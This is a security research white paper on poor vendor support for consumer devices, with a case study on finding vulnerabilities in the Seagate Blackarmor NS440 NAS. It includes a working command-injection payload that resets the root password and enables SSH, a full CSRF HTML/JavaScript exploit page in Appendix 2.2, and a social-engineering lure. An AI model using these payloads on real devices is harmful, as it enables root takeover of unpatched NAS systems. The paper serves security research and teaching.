Vendor Abandoned: Finding Vulnerabilities in Consumer Devices

A Case Study on the Seagate Blackarmor NS440 NAS

William Showalter
williamshowalter@gmail.com

Abstract

This white paper aims to discuss the commonly poor security of consumer and small-business grade digital devices, and the choices made by their manufactures that brings about that situation. It is the case that many vendors build their products without regard to a security lifecycle. A case study is provided on discovering and creating exploits targeting the Seagate Blackarmor NS440 NAS, specifically detailing the methodology and results of such efforts. Vendors build networked devices using already outdated open source software and discontinue support for one model as soon as the next is released. This is especially true for companies whose primary business lies outside these products. Network attached storage devices and home security cameras are common examples that are used by both consumers and small businesses.

Seagate's network attached storage devices fall into this categorization. Seagate's core business is hard drive manufacture, but the company also has products in both the network and cloud storage markets. Product support is frequently discontinued soon after new models are released, and devices remain in production use for years without any software maintenance. Additionally, the software on the devices is a combination of outdated and custom built, neither quality typically being beneficially for security. The presented case study shows a number of potential vulnerabilities in the Seagate Blackarmor NS440, ranging from binary exploitation to command injection through cross-site request forgery attacks, and works through the process of developing a working exploit against the device. These methodologies can be applied to other innocuous-seeming devices and demonstrate a much greater attack surface than would generally be suspected.

Table of Contents

Introduction

Ten years ago home networks were largely uniform and of underwhelming interest, containing at most a couple computers connected to a wireless router. Today the average home network contains more sundry devices than typical computers. Each user on the network now represents a handful of devices, ranging from smartphone and tablet to cameras and watches. Additionally, the homes themselves are becoming more connected. Tea kettles and refrigerators or doors and cameras – it is hardly surprising to see them on a local network today. The Internet of Things trend has furthered this phenomenon. Some households contain weather stations while others contain network backup or storage devices. Smart TVs and gaming consoles are now living room staples. It is becoming a challenge just to be able to account for everything connected to the network.

For some types of products there are a variety of vendors, while for others there are only a few players in the market. An example of the latter are video game consoles. Nintendo, Sony, and Microsoft are the only major companies competing in the market. Each of their devices are used in millions of households and receive a high level of scrutiny. The vendors also have a vested interest in the security of their products; security vulnerabilities can enable unscrupulous uses, primarily piracy and cheating. This makes exploits rare and take a considerable amount of effort to develop. In contrast, little scrutiny is given to consumer devices, such as home camera systems, that likely only sell some tens-of-thousands of units rather than millions. This is especially true when the product lies in a secondary market for the vendor and is not their primary business. Large vendors will seek their share of smaller markets by contracting companies to design and manufacture products under their brand, but do so without considerations for the real-world lifecycle of the product.

Vendor Abandonment & Security Lifecycle

Software support doesn't always factor into the vendors' conception of their product. They may think of their product as a physical device, a tool, like a toaster, that the customer uses. But this is not strictly accurate. The real products that the customers are buying are the services running on the devices, and those services are software. Because it is usually not in anyone's best interest to put forth the effort to reinvent the wheel, most of these devices are running stripped down builds of Linux on low-powered ARM and MIPS platforms. This is the case for the Seagate Blackarmor NAS, which runs on a ARMv5TE chipset with Busybox, as well as Meteoplug weather stations, which run an OpenWRT build on TP-Link routers, and D-Link DCS 5010L wireless home-security cameras, which run on a MIPS24KEc CPU architecture [1]. While it may ostensibly seem like these devices are limited in their functionality, they are all capable of general purpose computing and have a complete multi-process operating system capable of executing Linux ELF binaries.

A traditional lifecycle for a physical product is a function of the mean time to failure (MTTF). When an old product is discontinued, the extent of future support is limited to the product's warranty. A broken hammer of a discontinued model would be replaced with a new hammer of the current model, for instance. For older electronics with rudimentary programming and capability, a product failure was a piece of hardware failing, and the repair was a physical replacement of the hardware. Now when unintended security holes are found this failure is fixed with software patches rather than replacements.

Patching security holes is made easier when all of a vendor's products run the same software, as is the case with Synology [2]. All of the Synology NAS products, over 30 different models at the time of writing, use the same Synology DiskStation Manager (DSM) web managed operating system. Whenever a vulnerability is found in a component of DSM, a single patch is developed and pushed out to every Synology product. By stark contrast, every product line of Seagate's NAS systems run their own software, often bearing little resemblance in interface or code base to the product it was built to replace. For instance, Seagate currently has a number of NAS models in both their Home Media and Business Storage lines. The newer devices in the Business Storage product line, the Seagate NAS and Seagate NAS Pro, run the Seagate NAS OS 4 operating system [3], while older models such as the Business Storage 2-bay NAS come with firmware only referenced by a revision date identifier. Additionally, current home media models are only branded as running Seagate Personal Cloud software [4]. The Seagate Blackarmor NAS line, which was the predecessor to the first Seagate Business Storage products and is the subject of this case study, runs its own software as well.

It should come as no surprise that a company with so many disjoint software bases has a poor track record for providing security updates to old products. On March 1, 2015, Beyond Binary (beyondbinary.io) published a report about a vulnerability and a proof-of-concept exploit against the Seagate Business Storage 2-bay NAS. The exploit resulted in root access via a web-based remote code execution vulnerability [5]. Beyond Binary published their findings only after repeatedly attempting to work with Seagate to get a patch developed. First contact with Seagate was made October 18, 2014 and, after being largely ignored by Seagate for a number of months and repeated requests for status updates, the vulnerability was publically disclosed in March. Seagate responded initially by answering journalists' inquiries about the vulnerability with outright lies in an attempt to downplay the severity of the attack developed by Beyond Binary [6]. A similar experience was had by Eric Windisch when he contacted Seagate in July 2015 [7]. After patching one of five vulnerabilities identified by his report, they stopped responding to Windisch's emails. After a 90-day window and no response from Seagate, he published his report to his blog and submitted it to the Full Disclosure mailing list.

Case Study: Seagate Blackarmor NS440 Network Attached Storage

The goal of this whitepaper is to expose the potential in everyday devices for vulnerabilities. This is done in large part by examining in detail a number of methodologies for discovering and exploiting these vulnerabilities. The Seagate Blackarmor NS440 is used as the example for this research, but there is little difference between this device and the average home security camera from a software perspective. Both are likely to contain a low powered CPU (either ARM or MIPS), a stripped down and likely outdated Linux build, a lightweight web server running a PHP web administration/access portal, and some number of additional services. As such, the techniques and tools discussed here can be applied generally across these types of devices.

The Blackarmor NAS makes a good example of a device that has reached its end-of-life status. Originally released in 2009, the Blackarmor NAS family received its final security update in July 2012 when Seagate patched a number of built-in backdoors [8]. Since then, Seagate has responded to the discovery of cross-site scripting (XSS) attacks in the Blackarmor line stating that they do not intend to release patches to remediate the vulnerabilities [9].

Information Gathering

It is helpful to learn as much about your target as possible when attempting to find vulnerabilities. The early stages of information gathering should include starting to map out the attack surface. Performing a full port scan of your target with Nmap for both TCP and UDP can help identify most known services running on the device, often with exact version numbers if the version scan flag is used. Scanning the Blackarmor I found that it is always running a HTTP web server, a Samba 3.0.34 server, and a RPC server. Depending on the configuration, it may also be running NFS, FTP, AFP, iTunes Media Server, DLNA, Acronis Backup, and a download management service. Each of these services represents one or more processes running on the system that are potential vectors for exploitation.

Before diving too far into investigating a device, it is important to see what work has been previously published. There are many devices that hackers have developed custom OpenWRT firmware for, not just routers, and it is helpful to see what information can be found on blogs and forum posts from other owners of the same devices. For the Blackarmor, a German hacker Hajo Noerenberg did a lot of work in 2011 and 2012, discovering a number of things including: backdoors in the system that could be used to login to a root shell, how to mount the disks and modify the NAS filesystem on a Linux computer, how to extract the contents of firmware images, the pinout of the serial connector on the motherboard, and how to install Debian 5 to the NAS by imaging the NAND flash memory [11]. More recently in June 2015, another hacker, Moritz Rosenthal with the Chaos Computer Club Frankfurt (CCC-FFM) bricked his Blackarmor, accidentally erasing the entire contents of the NAND flash, which includes the bootloader. He wrote a post detailing how a new bootloader and the latest version of Debian can be installed to the NAS through the onboard serial connection [12].

The firmware updates for a device are usually a treasure trove of information. Firmware updates can come as differential updates that contain only the changes from the previous version, as full images, or as a combination of both. There is no single method for packaging firmware, and as such there is no single method for extracting the contents of a firmware update. Tools like Binwalk attempt to automate firmware extraction by identifying the compression and packaging methods used [10], but many vendors employ obfuscation techniques to make it more difficult to perform any reverse engineering against their devices. Unless this obfuscation is done with onboard encryption keys, such as with game consoles that are flashed with master keys in the factory, there is usually a way to deobfuscate the firmware. The Blackarmor firmware is a compressed tar archive where the archive is broken into 5120 byte blocks and blocks 0 and 15 are swapped. By swapping the blocks back and uncompressing and untarring the archive, the firmware can be extracted. Seagate packages a differential update in the firmware to be applied to the currently installed filesystem, with another tar achieve inside containing the full filesystem to be installed from NAND flash memory in the event of a factory reset. This can be used to build new firmware updates as well that apply changes to the file system. Noerenberg provides a firmware image file with a patch to inetd.conf that starts an SSH server on boot. If a system required signed updates this behavior would be prevented, but the only update checks in place on the Blackarmor are to verify that the filename matches Seagate's naming scheme.

Additional details about the system can be found in the filesystem extracted from the firmware. The PHP version being used by the minihttpd server is 4.4.9 and the software on the device was written by the Wistron Corporation of Taiwan. Presumably Wistron designed and made the Blackarmor on contract from Seagate, which explains the lack of extended product support. They likely have very little motivation to maintain a codebase someone else wrote, and if I had to guess each of their NAS products represents a contract with a different manufacture.

It is also possible to find information about the hardware used by looking at the FCC registration of the device. Not all details are published publically, but there is usually enough information to determine what chipset is used (including internal images), which may be enough to connect to serial connections on the board and read and/or write to the flash memory partitions.

The Usual Suspects – Low Hanging Fruit

Almost any device that defaults to not enabling HTTPS is going to be vulnerable to MITM and ARP cache poisoning attacks. Even in devices with HTTPS enabled by default, the certificates are self-signed and can be spoofed transparently at that point, since it will register as invalid to the browser either way. The automatic firmware update process is also performed over HTTP and can be spoofed to inject malicious patches. These are attacks are simple to the point of being uninteresting, so they will not be considered further as attacks in their own right in this paper, even though they represent quite possibly the realest dangers to users of these devices.

With any custom web application, it is worth exploring how sessions are handled. Burp Suite can be used to examine and modify web requests to attempt to identify common mistakes and provide insight into requests to and replies from the webserver. Modern web browsers will also report most the same information with less overhead, and there are a number of extensions that help facilitate this. The correct way to handle sessions would be to set a randomly generated session-id in a cookie with the http-only flag enabled (to deter XSS). The session-id value is registered in a table server-side, and the cookie is presented with every request to determine authorization based on the associated information in the table. For example, the table may contain session-id, username, and access rights fields. There are a number of ways to do this incorrectly. One way is incomplete mediation – failing to check the access rights at every request. Another is allowing the client to control state information, such as storing access rights in cookie values rather than in a server-side table. This is part of the vulnerability in the Business Storage NAS that Beyond Binary published information for. The Business Storage NAS sets an encrypted cookie, with the key/value fields of username, is_admin, and language. The NAS also encrypts all cookies with a static encryption key, meaning that a cookie for one NAS logged in as admin allows connection to any Seagate Business Storage NAS as admin. Additionally, publishing the *value* of the cookie means that anyone who can manually send that cookie can be admin. You can also take a non-admin cookie, decrypt it with the static encryption key that Beyond Binary extracted, set the is_admin flag to "yes," re-encrypt, and then retransmit it to gain admin privileges.

Unfortunately for attackers, the older Blackarmor NAS does do proper session handling, unlike the model that replaced it.

Finding Vulnerabilities

After learning about the target, there are a number of methodologies for discovering vulnerabilities. Vulnerability scanners can give you a start at identifying areas to look into, but they will rarely hand you a working exploit from the beginning.

Another method is searching for known vulnerabilities in the CVE and exploit databases for the the applications used by the target. For instance, the Blackarmor NAS runs Samba 3.0.34 for SMB file sharing. Samba 3.0.34 has four associated CVEs with the potential for remote code execution [13]. Rapid7 has Metasploit modules to exploit two of these vulnerabilities, but only for x86 platforms [14][15]. Binary exploits are going to need to be rewritten for the platform your target is on, while attacks like command injection are more likely to be portable.

When looking to write an exploit for a known vulnerability, a good strategy is to download the source code from both the first patched version and the directly preceding version, and then recursively diff them. Most vulnerabilities with CVEs are remediated in special security patches, and not as part of a greater update, so its likely that little else changed between the two versions other than fixing the vulnerability. If you can identify exactly where the vulnerability lies, then you can determine if and how you can get user controlled input to the vulnerability.

Static analysis tools can be used against web applications to discover potential vulnerabilities after recovering the web directory from the firmware. The tool RIPS will statically analyze PHP files to find potential code execution, command execution, XSS, and other vulnerabilities [16]. While manually analyzing all of the 600+ PHP files on the Blackarmor would have been beyond tedious, RIPS was able to find over 1500 potential vulnerabilities in just minutes. As a rule of thumb, if you can provide user input to PHP system or exec functions there is great potential for command injection, and it is worth seeking out instances of these commands specifically.

Reverse engineering is a useful tool for determining if a vulnerability is exploitable, as well as for developing exploits themselves. The source code is not going to be able to tell you the exact size and layout of the stack frames created by the compiled binary's process. You can find compiled stack protection mechanisms, offsets, padding, and a number of other things from a disassembler that the source code will not tell you with certainty.

Device Emulation

It may become necessary, especially if working on a binary exploit, to emulate your target device in a test environment. This can be done using Qemu, a cross-platform emulator that is able to emulate x86, PowerPC, SPARC, ARM, MIPS, and other architectures. Qemu allows the flexible selection of architecture, machine chipset, and CPU. Qemu has a "versatilepb" machine profile that emulates an ARMv5TEJ chipset, almost identical to the NAS. However, there is no BIOS for ARM in Qemu, which necessitates a certain amount of bootstrapping the startup process. Installing Linux in an emulator becomes an interesting problem when you have no BIOS to use to boot from CD. The way this is achieved is by providing the emulator a kernel image and an initialization image for RAM. Debian provides kernel and RAM images for the Debian net-installers that will load you directly into the running installer. Once installed onto the hard drive (Qemu uses the compressed qcow2 disk format), another RAM initialization image is used to boot off the hard drive. An example command for starting Qemu is given in Appendix 2.1.

The goal is to emulate the target device as closely as possible, which includes the executables running on the system. The most ideal solution would be to get an image from the device flash memory or the firmware and use that to boot the emulator. However, that does not add any additional tools (such as a debugger or a compiler), which likely weren't on the original device. An imperfect but possibly workable solution is to attempt to match the device with a similar build of Linux. Debian 5 and 6 contain approximately the same Linux kernel versions (Debian 6 comes with Linux kernel 2.6.32.5, whereas the Blackarmor has kernel 2.6.31.8). The version of libc on the system must also be a close match to the NAS. Unfortunately, Debian has removed all the ARMEL binaries from Debian versions older than Debian 7, which comes with kernel 3.2. As such, there exists no way to do a Debian 5 or Debian 6 net-install to ARM. Thankfully, a the Debian developer aurel32 has uploaded premade Qemu disk images for Debian 6 [17]. Unfortunately, the images are of bare installs with no compiler or debugger, and the DVD package repositories for ARMEL do not contain all the prerequisites for installing gcc.

This necessitates cross-compiling to get executables to run on your emulator. Crosstool-ng was invaluable in cross-compiling a tool chain to use in the ARM emulator [18]. Canadian cross compiling was actually required, which is a multi-step compiling operation in which you first compile a compiler that runs on your host system but builds for your target system (ARM, in this example), and afterward you compile another compiler with the previous one. The resultant compiler will run on ARM and build compiled ARM binaries.

When compiling executables to copy to the emulator it is best to do so statically in order to minimize the potential for linking problems. You can copy most the dynamically linked libraries form the NAS to the emulator and add them to the LD_LIBRARY_PATH variable, but libraries like libc cannot be replaced without complications. You can determine what libraries a binary dynamically loads using the readelf tool. Readelf will not tell you the other binaries that may be ran by the executable and the dynamically loaded (not linked) shared libraries that are used. A quick hack for discovering these other dependencies in open source tools is to compile the source code and note all the files that are copied during the make install procedure.

Exploiting Samba (Attempted)

In the vulnerability discovery phase it was shown that four CVEs exist that identify Samba 3.0.34 as vulnerable to remote code execution attacks. Three of these can be ruled for this paper's purposes. Samba 3.0 actually predates Microsoft's publication of the MS-SMB protocol document, meaning that Samba was still entirely reverse engineered at this point [19]. After the protocol documents were released, Samba received major feature updates and refactoring. A result of this is that while CVE-2012-1182, CVE-2010-2063, and CVE-2013-4408 claim that Samba 3.0.34 is vulnerable, in all three cases the vulnerable code either wasn't written yet or it wasn't exploitable because of the differences in the calling code; this is pointed out in the Rapid7 release notes and source code for the Samba chain_reply and setinfopolicy_heap exploits, respectively [20][21]. The third CVE vulnerability is only present when the remote client is an Active Directory domain controller on a domain where the Samba server resides, which is too narrow a scope for my consideration.

Remaining is the sid_parse vulnerability in CVE-2010-3069, which has no public exploits. This buffer overflow vulnerable exists because an input SID (security identifier) object is taken from the network and copied into memory without proper bounds checking. As seen in Appendix 1.1, the dom_sid struct contains a one-byte num_auth field, and an array of MAXSUBAUTHS unsigned integers, where MAXSUBAUTHS is a constant defined as 15. Because a one-byte value is used to store the number of items in a 15-item array, there exists the potential for the struct to enter a bad state where the one-byte value is larger than the bounds of the array. This is what happens in sid_parse, where a for-loop is used to copy data from a network buffer into the dom_sid object on the stack. The function does not verify that sid->num_auths is less than MAXSUBAUTHS and it allows data to be copied for up to an additional 960 bytes.[1] The function does do limited bounds checking, but only to verify that the input length is non-empty and not shorter than the amount to be copied. Nothing is checked of the destination.

After understanding the vulnerability, the next step is mapping out where the vulnerable function is called and determining how to reach those functions. Searching for sid_parse finds out that it is called in two client request handling operations inside the NT_TRANSACT_IOCTL function: NT_TRANSACT_QUERY_QUOTA and FSCTL_FIND_FILES_BY_SID. Analysis of the NT_TRANSACT_QUERY_QUOTA case reveals that it will only run if the file requested is the NTFS system file $QUOTA, and the request fails otherwise. The Blackarmor NAS uses Linux EXT3 volume groups in a LVM RAID, and Linux ACLs for handling quotas, making this function unexploitable on the Blackarmor NAS. Whereas the quota function does not contain any additional bounds checking for the SID length parameter, FSCTL_FIND_FILES_BY_SID sets the len parameter to sid_parse so it is not greater than the maximum valid length (Appendix 1.3). As such, inside sid_parse the length check fails before the copy, since the provided length of network buffer

[1] (255 maximum uchar value – sid->sub_auths[15]) * 4 byte uint = 960 byte overflow

is less than the amount it is going to copy from the network buffer to the stack. The final Samba vulnerability is shown to be unexploitable.

Command Injection and Cross-site Request Forgery

While binary exploitation tends to be the more interesting and romantic of the exploit types, there is more than one way to hack a NAS. Failing to exploit Samba, the web vulnerabilities identified by RIPS should be looked into. While RIPS identified 1100 potential XSS vulnerabilities, it is the case that most the GET and POST parameters are put through some type of limited input validation that strips out the contents between script tags. That is to say, it is possible to inject "`<script></script>`" into a page, but nothing between the opening and closing tags would make it into the page, just the tags alone.

Skipping to the command injection vulnerabilities rather than investigate the XSS further, it took almost no time to identify a vulnerability on the Dynamic DNS management page. The webpage takes a username, password, and dynamic DNS URL, and then attempts to update the dynamic DNS records provided by using a command-line utility through a PHP system call, concatenating the user provided strings into the command, as shown in Appendix 3.1. By providing a semi-colon in any of the input fields an attacker can begin a new command, and as the webserver is running as root so are the commands. Using the specially crafted username below it is possible to set the root account password and enable SSH:

```
passwd -d root;echo -e \"1234567890\" | (passwd --stdin root); echo
"ssh stream tcp nowait root /usr/sbin/dropbear dropbear -i\" >>
/etc/inetd.conf; /etc/init.d/S60inetd restart;
```

This command injection vulnerability requires an active session with admin privileges, but elevates privileges to root. Additionally, it can be used remotely in a cross-site request forgery attack. An example of this is shown in Appendix 2.2. A user is presented with an iframe occupying 100% of the window. Whenever the iframe loads, a JavaScript function is called sending a POST request to the Dynamic DNS page with a malicious username field. The cookie for the NAS cannot be read by the JavaScript because of the browser's security settings, but it can still be sent with the POST request by using `withCredentials = true` on the XMLHttpRequest handler. If the user can be social engineered into logging into the iframe then the POST request will be automatically made and the payload executed ("Hi Boss, I embedded a document in the attachment, but its on the NAS so you have to login first").

Conclusions

Consumers and businesses will use devices for as long as they can keep them running. Consumer grade equipment is brought and plugged into offices every day. Just because a product was developed under the presumptive threat-model of a home network does not mean it will never be used for anything else. Often even products that expressly target the small-business market fail to properly factor in security concerns. Vendors like Seagate go through security blunder after security blunder, abandoning a code base whenever they start to approach a decent level of security. However, when Seagate reaches the end of their product support life-cycle the products usually haven't reached their mean-time-to-failure. Devices stay in working production for many more years, while more and more vulnerabilities are discovered and not addressed. To paraphrase one of Dan Geer's points in his Blackhat USA 2014 keynote, devices either need to have a limited lifespan, where they stop working after support is cut off, or be built resilient and have facilities to remotely update all of their software [22].

A note on responsible disclosure

As Seagate has replied to other security researchers stating they do not intend to fix security vulnerabilities in the Seagate Blackarmor line, I have made no effort to disclose my findings prior to presenting this work at the BSidesJackson conference (November 7, 2015) and in this case study. Seagate as a company does not seem to have any interest in the security of their products, or the time of day for those that feel the conscientious need to disclose vulnerabilities to product manufactures. As such, I feel no need to waste months of my time attempting to contact them before publishing my work.

References

1. https://wikidevi.com/wiki/D-Link_DCS-5020L
2. https://www.synology.com/en-us/dsm/5.2/features
3. http://www.techradar.com/us/news/computing-components/storage/seagate-touts-simplicity-in-nas-os-4-drives-for-small-businesses-1257589
4. http://www.seagate.com/products/network-attached-storage/home-network/personal-cloud/
5. https://beyondbinary.io/articles/seagate-nas-rce/
6. https://beyondbinary.io/articles/seagate-nas-rce-response-analysis/
7. https://medium.com/@ewindisch/seagate-central-nas-vulnerabilities-4b78114c9d0b
8. https://www.kb.cert.org/vuls/id/515283
9. https://www.exploit-db.com/exploits/30727/
10. https://github.com/devttys0/binwalk/
11. http://www.noerenberg.de/hajo/pub/seagate-blackarmor-nas.txt
12. http://wiki.ccc-ffm.de/projekte:diverses:seagate_blackarmor_nas_220_debian
13. https://www.cvedetails.com/vulnerability-list/vendor_id-102/product_id-171/version_id-78467/Samba-Samba-3.0.34.html
14. https://www.rapid7.com/db/modules/exploit/linux/samba/setinfopolicy_heap
15. http://www.rapid7.com/db/modules/exploit/linux/samba/chain_reply
16. http://rips-scanner.sourceforge.net/
17. https://people.debian.org/~aurel32/qemu/i386/
18. http://crosstool-ng.org/
19. https://msdn.microsoft.com/en-us/library/cc246231.aspx
20. http://www.rapid7.com/db/modules/exploit/linux/samba/chain_reply
21. https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/samba/setinfopolicy_heap.rb

22. http://geer.tinho.net/geer.blackhat.6viii14.txt

Appendix 1: Samba Code

1.1 Samba dom_sid object

From Samba 3.0.34, /source/include/smb.h, line 288:

```
typedef struct dom_sid {
	uint8  sid_rev_num;             /**< SID revision number */
	uint8  num_auths;               /**< Number of sub-authorities */
	uint8  id_auth[6];              /**< Identifier Authority */
	/*
	 *  Pointer to sub-authorities.
	 *
	 * @note The values in these uint32's are in *native* byteorder,
not
	 * neccessarily little-endian...... JRA.
	 */
	uint32 sub_auths[MAXSUBAUTHS];
} DOM_SID;
```

1.2 Samba sid_parse function

From Samba 3.0.34, /source/lib/util_sid.c, line 396:

```
BOOL sid_parse(const char *inbuf, size_t len, DOM_SID *sid)
{
	int i;
	if (len < 8)
		return False;

	ZERO_STRUCTP(sid);

	sid->sid_rev_num = CVAL(inbuf, 0);
	sid->num_auths = CVAL(inbuf, 1);
	memcpy(sid->id_auth, inbuf+2, 6);
	if (len < 8 + sid->num_auths*4)
		return False;
	for (i=0;i<sid->num_auths;i++)
		sid->sub_auths[i] = IVAL(inbuf, 8+i*4);
	return True;
}
```

1.3 Samba FSCTL_FIND_FILES_BY_SID case in call_nt_transact_ioctl function.

From Samba 3.0.34, /source/smbd/nttrans.c, line 2408:

```
case FSCTL_FIND_FILES_BY_SID: /* I hope this name is right */
{
	…
	DOM_SID sid;
	uid_t uid;
	size_t sid_len = MIN(data_count-4,SID_MAX_SIZE);
	…
```

```
     sid_parse(pdata+4,sid_len,&sid);
     …
}
```

Appendix 2: Original code

2.1 Qemu Command example

```
qemu-system-arm \
     -M versatilepb \
     -kernel vmlinuz-2.6.32-5-versatile \
     -initrd initrd.img-2.6.32-5-versatile \
     -hda debian_squeeze_armel_standard.qcow2 \
     -net nic –net tap,ifname=tap0,script=no,downscript=no \
     -append "root=/dev/sda1"
```

2.2 Cross-Site Request Forgery command injection

```
<!DOCTYPE html>
<html>
<body>
  <iframe src="http://169.254.86.233" height="100%" id="iframe1"
onload="loadDocAdmin()"></iframe>
  <style>
  body, html { width:100%; height:100%; overflow:hidden; }
  iframe { width:100%; height:100%; border:none; }
  </style>
  <script>
  function loadDocAdmin() {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (xhttp.readyState == 4 && xhttp.status == 200) {
        document.getElementById("demo").innerHTML =
xhttp.responseText;
      }
    }
    xhttp.open("POST",
"http://169.254.86.233/admin/network_ddns_manage.php?lang=en&gi=n0035&
fbt=20", true);
    xhttp.withCredentials = true;
    xhttp.setRequestHeader("Content-type", "application/x-www-form-
urlencoded");
    command = encodeURIComponent("passwd -d root;echo -e
\"1234567890\" | (passwd --stdin root);" +
     "echo \"ssh stream tcp nowait root /usr/sbin/dropbear dropbear -
i\" >> /etc/inetd.conf;" +
     "/etc/init.d/S60inetd restart;")
    xhttp.send("ddns=dyndns&url=bob&username=bob&password=%3B"+
command + "&btn=Submit");
  }
  </script>
```

```
</body>
</html>
```

Appendix 3: Blackarmor webpage source

3.1 Network DDNS Manage

From /admin/network_ddns_manage.php, line 34:

```
system('inadyn -u '.$_POST["username"].' -p '.$_POST["password"].' -a
'.$_POST["url"].' >/tmp/ddns_res &');
```